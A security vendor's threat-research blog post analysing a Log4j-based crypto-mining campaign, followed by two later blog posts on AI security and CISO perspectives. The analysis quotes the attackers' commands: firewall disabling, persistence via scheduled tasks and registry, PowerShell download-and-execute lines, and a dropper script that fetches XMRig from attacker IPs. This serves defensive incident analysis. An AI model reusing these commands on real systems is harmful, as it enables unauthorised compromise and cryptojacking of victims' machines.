Blog
/
Network
/
April 3, 2022

Analyzing Log4j Vulnerability in Crypto Mining Attack

Discover how Darktrace detected a campaign-like pattern that used the Log4j vulnerability for crypto-mining across multiple customers.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Hanah Darley
Director of Threat Research
Written by
Steve Robinson
Principal Consultant for Threat Detection
Written by
Ross Ellis
Principal Cyber Analyst
Default blog image
03
Apr 2022

Background on Log4j

On December 9 2021, the Alibaba Cloud Security Team publicly disclosed a critical vulnerability (CVE-2021-44228) enabling unauthenticated remote code execution against multiple versions of Apache Log4j2 (Log4Shell). Vulnerable servers can be exploited by attackers connecting via any protocol such as HTTPS and sending a specially crafted string.

Log4j crypto-mining campaign

Darktrace detected crypto-mining on multiple customer deployments which occurred as a result of exploiting this Log4j vulnerability. In each of these incidents, exploitation occurred via outbound SSL connections which appear to be requests for base64-encoded PowerShell scripts to bypass perimeter defenses and download batch (.bat) script files, and multiple executables that install crypto-mining malware. The activity had wider campaign indicators, including common hard-coded IPs, executable files, and scripts.

The attack cycle begins with what appears to be opportunistic scanning of Internet-connected devices looking for VMWare Horizons servers vulnerable to the Log4j exploit. Once a vulnerable server is found, the attacker makes HTTP and SSL connections to the victim. Following successful exploitation, the server performs a callback on port 1389, retrieving a script named mad_micky.bat. This achieves the following:

  • Disables Windows firewall by setting all profiles to state=off
    ‘netsh advfirewall set allprofiles state off’
  • Searches for existing processes that indicate other miner installs using ‘netstat -ano | findstr TCP’ to identify any process operating on ports :3333, :4444, :5555, :7777, :9000 and stop the processes running
  • A new webclient is initiated to silently download wxm.exe
  • Scheduled tasks are used to create persistence. The command ‘schtasks /create /F /sc minute /mo 1 /tn –‘ schedules a task and suppresses warnings, the task is to be scheduled within a minute of command and given the name, ‘BrowserUpdate’, pointing to malicious domain, ‘b.oracleservice[.]top’ and hard-coded IP’s: 198.23.214[.]117:8080 -o 51.79.175[.]139:8080 -o 167.114.114[.]169:8080
  • Registry keys are added in RunOnce for persistence: reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Run2 /d

In at least two cases, the mad_micky.bat script was retrieved in an HTTP connection which had the user agent Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; MAARJS). This was the first and only time this user agent was seen on these networks. It appears this user agent is used legitimately by some ASUS devices with fresh factory installs; however, as a new user agent only seen during this activity it is suspicious.

Following successful exploitation, the server performs a callback on port 1389, to retrieve script files. In this example, /xms.ps1 a base-64 encoded PowerShell script that bypasses execution policy on the host to call for ‘mad_micky.bat’:

Figure 1: Additional insight on PowerShell script xms.ps1

The snapshot details the event log for an affected server and indicates successful Log4j RCE that resulted in the mad_micky.bat file download:

Figure 2: Log data highlighting mad_micky.bat file

Additional connections were initiated to retrieve executable files and scripts. The scripts contained two IP addresses located in Korea and Ukraine. A connection was made to the Ukrainian IP to download executable file xm.exe, which activates the miner. The miner, XMRig Miner (in this case) is an open source, cross-platform mining tool available for download from multiple public locations. The next observed exe download was for ‘wxm.exe’ (f0cf1d3d9ed23166ff6c1f3deece19b4).

Figure 3: Additional insight regarding XMRig executable

The connection to the Korean IP involved a request for another script (/2.ps1) as well as an executable file (LogBack.exe). This script deletes running tasks associated with logging, including SCM event log filter or PowerShell event log consumer. The script also requests a file from Pastebin, which is possibly a Cobalt Strike beacon configuration file. The log deletes were conducted through scheduled tasks and WMI included: Eventlogger, SCM Event Log Filter, DSM Event Log Consumer, PowerShell Event Log Consumer, Windows Events Consumer, BVTConsumer.

  • Config file (no longer hosted): IEX (New-Object System.Net.Webclient) DownloadString('hxxps://pastebin.com/raw/g93wWHkR')

The second file requested from Pastebin, though no longer hosted by Pastebin, is part of a schtasks command, and so probably used to establish persistence:

  • schtasks /create /sc MINUTE /mo 5 /tn  "\Microsoft\windows\.NET Framework\.NET Framework NGEN v4.0.30319 32" /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''hxxps://pastebin.com/raw/bcFqDdXx'''))'"  /F /ru System

The executable file Logback.exe is another XMRig mining tool. A config.json file was also downloaded from the same Korean IP. After this cmd.exe and wmic commands were used to configure the miner.

These file downloads and miner configuration were followed by additional connections to Pastebin.

Figure 4: OSINT correlation of mad_micky.bat file[1]

Process specifics — mad_micky.bat file

Install

set “STARTUP_DIR=%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”
set “STARTUP_DIR=%USERPROFILE%\Start Menu\Programs\Startup”

looking for the following utilities: powershell, find, findstr, tasklist, sc
set “LOGFILE=%USERPROFILE%\mimu6\xmrig.log”
if %EXP_MONER_HASHRATE% gtr 8192 ( set PORT=18192 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 4096 ( set PORT=14906 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 2048 ( set PORT=12048 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 1024 ( set PORT=11024 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 512 ( set PORT=10512 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 256 ( set PORT=10256 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 128 ( set PORT=10128 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 64 ( set PORT=10064 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 32 ( set PORT=10032 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 16 ( set PORT=10016 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 8 ( set PORT=10008 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 4 ( set PORT=10004 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 2 ( set PORT=10002 & goto PORT_OK)
set port=10001

Preparing miner

echo [*] Removing previous mimu miner (if any)
sc stop gado_miner
sc delete gado_miner
taskkill /f /t /im xmrig.exe
taskkill /f /t/im logback.exe
taskkill /f /t /im network02.exe
:REMOVE_DIR0
echo [*] Removing “%USERPROFILE%\mimu6” directory
timeout 5
rmdir /q /s “USERPROFILE%\mimu6” >NUL 2>NUL
IF EXIST “%USERPROFILE%\mimu6” GOTO REMOVE_DIR0

Download of XMRIG

echo [*] Downloading MoneroOcean advanced version of XMRig to “%USERPROFILE%\xmrig.zip”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.DownloadFile(‘http://141.85.161[.]18/xmrig.zip’, ;%USERPROFILE%\xmrig.zip’)”
echo copying to mimu directory
if errorlevel 1 (
echo ERROR: Can’t download MoneroOcean advanced version of xmrig
goto MINER_BAD)

Unpack and install

echo [*] Unpacking “%USERPROFILE%\xmrig.zip” to “%USERPROFILE%\mimu6”
powershell -Command “Add-type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory(‘%USERPROFILE%\xmrig.zip’, ‘%USERPROFILE%\mimu6’)”
if errorlevel 1 (
echo [*] Downloading 7za.exe to “%USERPROFILE%\7za.exe”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.Downloadfile(‘http://141.85.161[.]18/7za.txt’, ‘%USERPROFILE%\7za.exe’”

powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”url\”: *\”.*\”,’, ‘\”url\”: \”207.38.87[.]6:3333\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”user\”: *\”.*\”,’, ‘\”user\”: \”%PASS%\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”pass\”: *\”.*\”,’, ‘\”pass\”: \”%PASS%\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”max-cpu-usage\”: *\d*,’, ‘\”max-cpu-usage\”: 100,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
set LOGFILE2=%LOGFILE:\=\\%
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”log-file\”: *null,’, ‘\”log-file\”: \”%LOGFILE2%\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
if %ADMIN% == 1 goto ADMIN_MINER_SETUP

if exist “%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup” (
set “STARTUP_DIR=%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”
goto STARTUP_DIR_OK
)
if exist “%USERPROFILE%\Start Menu\Programs\Startup” (
set “STARTUP_DIR=%USERPROFILE%\Start Menu\Programs\Startup”
goto STARTUP_DIR_OK
)
echo [*] Downloading tools to make gado_miner service to “%USERPROFILE%\nssm.zip”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.DownloadFile(‘[http://141.85.161[.]18/nssm.zip’, ‘%USERPROFILE%\nssm.zip’)”
if errorlevel 1 (
echo ERROR: Can’t download tools to make gado_miner service
exit /b 1

Detecting the campaign using Darktrace

The key model breaches Darktrace used to identify this campaign include compromise-focussed models for Application Protocol on Uncommon Port, Outgoing Connection to Rare From Server, and Beaconing to Rare Destination. File-focussed models for Masqueraded File Transfer, Multiple Executable Files and Scripts from Rare Locations, and Compressed Content from Rare External Location. Cryptocurrency mining is detected under the Cryptocurrency Mining Activity models.

The models associated with Unusual PowerShell to Rare and New User Agent highlight the anomalous connections on the infected devices following the Log4j callbacks.

Customers with Darktrace’s Autonomous Response technology, Antigena, also had actions to block the incoming files and scripts downloaded and restrict the infected devices to normal pattern of life to prevent both the initial malicious file downloads and the ongoing crypto-mining activity.

Appendix

Darktrace model detections

  • Anomalous Connection / Application Protocol on Uncommon Port
  • Anomalous Connection / New User Agent to IP Without Hostname
  • Anomalous Connection / PowerShell to Rare External
  • Anomalous File / EXE from Rare External location
  • Anomalous File / Masqueraded File Transfer
  • Anomalous File / Multiple EXE from Rare External Locations
  • Anomalous File / Script from Rare External Location
  • Anomalous File / Zip or Gzip from Rare External Location
  • Anomalous Server Activity / Outgoing from Server
  • Compliance / Crypto Currency Mining Activity
  • Compromise / Agent Beacon (Long Period)
  • Compromise / Agent Beacon (Medium Period)
  • Compromise / Agent Beacon (Short Period)
  • Compromise / Beacon to Young Endpoint
  • Compromise / Beaconing Activity To External Rare
  • Compromise / Crypto Currency Mining Activity
  • Compromise / Sustained TCP Beaconing Activity To Rare Endpoint
  • Device / New PowerShell User Agent
  • Device / Suspicious Domain

MITRE ATT&CK techniques observed

IoCs

For Darktrace customers who want to find out more about Log4j detection, refer here for an exclusive supplement to this blog.

Footnotes

1. https://www.virustotal.com/gui/file/9e3f065ac23a99a11037259a871f7166ae381a25eb3f724dcb034225a188536d

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Hanah Darley
Director of Threat Research
Written by
Steve Robinson
Principal Consultant for Threat Detection
Written by
Ross Ellis
Principal Cyber Analyst

More in this series

No items found.

Blog

/

AI

/

July 6, 2026

NIST Just Proved It: AI Security Can’t Be Solved With Rules

ai security nistDefault blog imageDefault blog image

Static AI guardrails are inherently limited

As organizations adopt generative AI, many still assume that the right set of guardrails will be enough. The problem is you can’t anticipate every way these systems might be misused, abused or attacked. What NIST has done is put a mathematical foundation under that intuition.

In recent research building on Gödel’s incompleteness theorems, which showed that any system built on a fixed set of rules will always have gaps, NIST demonstrates that there is no finite set of guardrails that can be universally robust against adversarial prompts. In plain terms, if your defense is based on a fixed set of rules, there will always be inputs that bypass them. Not because the rules are badly written, but because the problem space is bigger than static rules can ever cover.

This is not new in cybersecurity - detection rules have always had to live with this trade-off. What is different with GenAI is the scale and shape of that problem. These systems are built on human language, and human language is not bounded. It is fluid, contextual and deliberately ambiguous. The number of ways intent can be hidden is effectively limitless. You are not defending against a defined protocol or a fixed exploit chain. You are defending against the entire expressive capacity of people.

So attempting to create a complete set of rules is the wrong starting point. It assumes the problem can be deterministically described. NIST’s work shows that it cannot. Organizations still need a way to manage AI risk, but the traditional approach of defining allowed and disallowed patterns is always going to lag behind what is actually happening. The same input can be benign in one context and risky in another, and static rules struggle to capture that distinction.

The question then is what fills that gap?

AI security must shift from rules to behavior

What's required is a shift in what you are trying to understand. Rules try to describe what should and shouldn't happen. Behavior shows you what is happening. Or to put it another way, if inputs are unbounded and adversaries adapt, the only stable signal is behavior.

In a GenAI context, that means analyzing how an AI model is being used, how prompts evolve over time, how outputs are shaped, and where AI agent interactions start to drift from what is expected. It means moving from static definitions of bad to a more dynamic understanding of intent.

Instead of trying to predict every bad prompt, you focus on identifying when behavior starts to move outside expected norms. Instead of asking whether a single input matches a rule, you ask whether the overall pattern of activity makes sense for the system and how it’s being used.

Guardrails remain important but they are only one layer

This does not eliminate the need for guardrails. They still play a role. But they will never address the entire problem space and are simply one part of your defense in depth approach.

NIST’s proof is useful because it makes this explicit. It removes the assumption that with enough effort, a complete rule set is achievable. It isn’t.

Once you accept that, the shift becomes unavoidable. This is no longer a problem of writing better rules, but of understanding behavior in a space where the possible inputs are effectively unbounded.

For security leaders, that changes the nature of the problem. It is less about defining what should be allowed, and more about recognizing when something is no longer consistent with expected behavior.

That does not remove the need for guardrails, but it does change their role. They set boundaries, but they do not define understanding. The gap between the two is where risk now sits.

In the end, this is what “can’t be solved with rules” really means. Rules will always leave gaps, and those gaps are not theoretical. They show up in how systems actually behave Not what we expect them to do, or what we intended them to do, but what they are doing in practice. That is where the signal is, and increasingly, that is where the security problem sits.

References:

https://www.nist.gov/news-events/news/2026/06/nist-mathematical-proof-supports-transition-continuous-monitor-and-update

https://ieeexplore.ieee.org/document/11475847

Continue reading
About the author
Andrew Hollister
Principal Solutions Engineer, Cyber Technician

Blog

/

AI

/

July 1, 2026

5 Ways AI is changing traditional security models according to modern CISOs

Default blog imageDefault blog image

The Reality of Securing AI in Motion

Traditional security tools were built for environments defined by fixed rules and predictable workflows. But AI behavior is non-deterministic. The same prompt can produce different outcomes, and risk often emerges gradually as AI behavior adapts, and permissions drift over time. This creates a constantly shifting environment where security teams are working to define control in a system that resists stability. “In AI security, yesterday's priorities can become tomorrow's blind spots. The landscape shifts that fast,” warned the SVP and Head of Technology and Cybersecurity of a real estate investment trust. Conventional approaches, which rely on establishing and maintaining a steady baseline, struggle to keep up with that level of change.

At the same time, AI adoption is accelerating across organizations, often faster than security teams can implement the controls needed to manage it. “The car is being built while it’s already on the road,” explained the CISO of a global private fund administrator. “The threats we're securing against today won't be the threats we're facing tomorrow. What kept us up three months ago looks nothing like what we're dealing with today.”

As businesses move quickly to unlock value from AI, security teams are left closing gaps in real time, while also facing adversaries who are using AI to make their attacks more scalable, adaptive, and difficult to detect. In this recent roundtable discussion of CISOs and security leaders, five themes emerged around AI cyber risk.  

1. AI agents with human access but no human judgment

In Darktrace’s 2026 State of AI Cybersecurity report, 96% of the surveyed security professionals agree that AI significantly improves the speed and efficiency with which they work. Yet, 92% admitted that they’re concerned with the security implications of the use of AI agents across their workforce.

AI agents now operate with human-level permissions across systems, acting at machine speed, orchestrating actions across platforms, and making decisions without the judgment or caution a person would apply. Unlike human users, they cannot be expected to pause and question whether a given action is appropriate.

Their identities are also difficult to inventory, govern, and audit. As agents become easier to deploy than legacy IT systems ever were, organizations are quickly losing track of what is running, what it has access to, and what it is doing. This creates a growing class of highly privileged, autonomous actors operating without the visibility or oversight that traditional identity and access controls were designed to provide.“While AI adoption is critical to running a modern business, AI alone can’t solve all our cybersecurity challenges,” said a global financial sector CISO. “We still need think critically and use human judgement. Those are two things AI can’t do.”

This lack of human judgment becomes especially risky as new architectures, such as Model Context Protocol (MCP), can expand how agents connect to data, tools, and external systems. By design, MCP enables agents to dynamically discover and interact with new resources, increasing flexibility but also introducing new pathways for unintended access, data exposure, or abuse if not properly governed.

The CISO of a fund administrator highlighted one emerging vector as an example: rogue MCP servers. “Our developers want to move quickly and bring value to the business, but technologies like these can unintentionally expose sensitive data in ways that would never have happened before.”

2. Increased digital complexity and expanded attack surface

AI activity rarely stays contained. A single prompt can trigger a chain of actions across networks, email, cloud infrastructure, SaaS platforms, endpoints, identity systems, and development environments, spanning systems that were never designed to be secured as a single, connected flow. This expands both the scale and complexity of what security teams need to monitor and defend.

Yet no single control has visibility across that entire chain. “You can’t defend effectively what you can’t see,” cautioned the private fund administrator CISO. As AI-driven activity moves fluidly across environments, gaps in coverage become inevitable, creating blind spots that attackers can exploit.

Threat actors are already capitalizing on this lack of visibility. “Threat actors have advanced their use of generative AI to launch more convincing phishing campaigns, automate social engineering, and scale attacks with greater precision down to the individual level,” said the SVP of Technology and Cybersecurity for the real estate investment trust. What was once manual and targeted can now be automated and personalized at scale, making attacks harder to detect and easier to execute.

At the same time, the pace of exploitation is accelerating. As a global CISO operating across 40+ countries described it: “Zero-day vulnerabilities are no longer zero day; it’s minus one day. By the time you get to it and address it, it’s already a problem.” By the time risk is identified, it has often already been realized.

The result is a rapidly expanding and increasingly interconnected attack surface that challenges security teams to maintain visibility, context, and control across AI-driven activity.

3. Shadow AI is already everywhere

76% of organizations now cite shadow AI as a problem, one that is spreading through organizations in ways that are hard to track and even harder to control.

Employees are experimenting with publicly available Gen AI tools. Teams are spinning up low-code automations on their own. SaaS providers are quietly embedding AI into existing products. Developers are plugging AI services directly into workflows, often without pausing to consider what that exposure means.

The result is a lack of visibility into:

  • What AI tools are being used
  • What data those tools can access
  • Where prompts and outputs are going
  • Which AI agents are interacting with enterprise systems

The SVP of Cybersecurity at a real estate investment trust described the shift: “Before, I was worried about someone sending data erroneously to their personal email. Now we have all these agents online that people are utilizing, and we’re looking at those vectors as well.” For security teams, this means operating without a complete view of how AI is being used, what it can access, and where risk may already be emerging.

4. Built-in guardrails are not enough

Organizations often assume that native AI guardrails or provider-level controls are sufficient to manage AI risk. But securing AI requires ongoing visibility, oversight, and governance, not just controls configured at deployment. "It’s a misconception that adopting AI is going to solve all your problems,” warns a global financial services CISO.

Security leaders are increasingly recognizing the limitations of these controls as:

  • Fragmented and difficult to enforce consistently across multiple AI systems, workflows, and environments
  • Ambiguous in terms of accountability due to shared responsibility for AI governance between IT, security, developers, business teams, and third-party providers
  • Limited in end-to-end oversight, leaving gaps that stretch from the initial prompt all the way through to the downstream impact of an agent's actions

Securing AI demands more than simple prompt filtering or static policy enforcement. It requires understanding intent, behavior, and context across both human and AI activity.

The next phase of cybersecurity: securing AI

To safely and responsibly adopt AI at scale, organizations need a new operational model for cybersecurity that’s capable of:

• Understanding AI behavior

• Identifying risk in real time

• Maintaining governance without slowing innovation

The CSO of a $10 billion municipal utility organization described the challenge with precision: “We have to move at the speed of innovation and risk, because both are accelerating faster than ever.”

Embrace AI with confidence with Darktrace / SECURE AI

Darktrace has introduced Darktrace / SECURE AI™, a new product within the Darktrace ActiveAI Security Platform™  ,designed to provide enterprise-wide security for AI by applying industry leading behavioral analysis to how prompts, agents, and AI systems are used.

Darktrace / SECURE AITM delivers real-time visibility and control across Enterprise and SaaS GenAI prompts, AI agent identities, development and production environments, and Shadow AI - detecting even subtle misuse, misconfiguration, and drift that traditional, rule-based controls simply do not understand. By interpreting context and intent across humans and machines, Darktrace enables organizations to adopt AI at scale without introducing unmanaged risk

What makes this possible is Darktrace’s decade-long maturity and expertise in behavioral understanding and AI-native cybersecurity. Achieved with Self-Learning AI that has been proven across more than 10,000 organizations, Darktrace understands what “normal” looks like for a business, across its users, systems, and now AI, so that meaningful deviations can be detected and acted on before they become incidents.

With one CISO describing Darktrace’s Self-Learning AI as “a leap forward compared to other tools” and another as a “force multiplier,” the technology can interpret ambiguous interactions, understand how access accumulates over time, and recognize when behavior, human or machine, begins to drift.

“Strategically, we’re looking to gain more visibility into how AI is operating across the environment and achieve greater control over what AI should be allowed to access and do,” shared the CISO at a private fund administrator.  

“What I’ve seen from Darktrace / SECURE AI is extremely promising. I have tremendous confidence in Darktrace’s vision for where this is headed and its ability to execute on this new solution.”

Continue reading
About the author
The Darktrace Community
Your data. Our AI.
Elevate your network security with Darktrace AI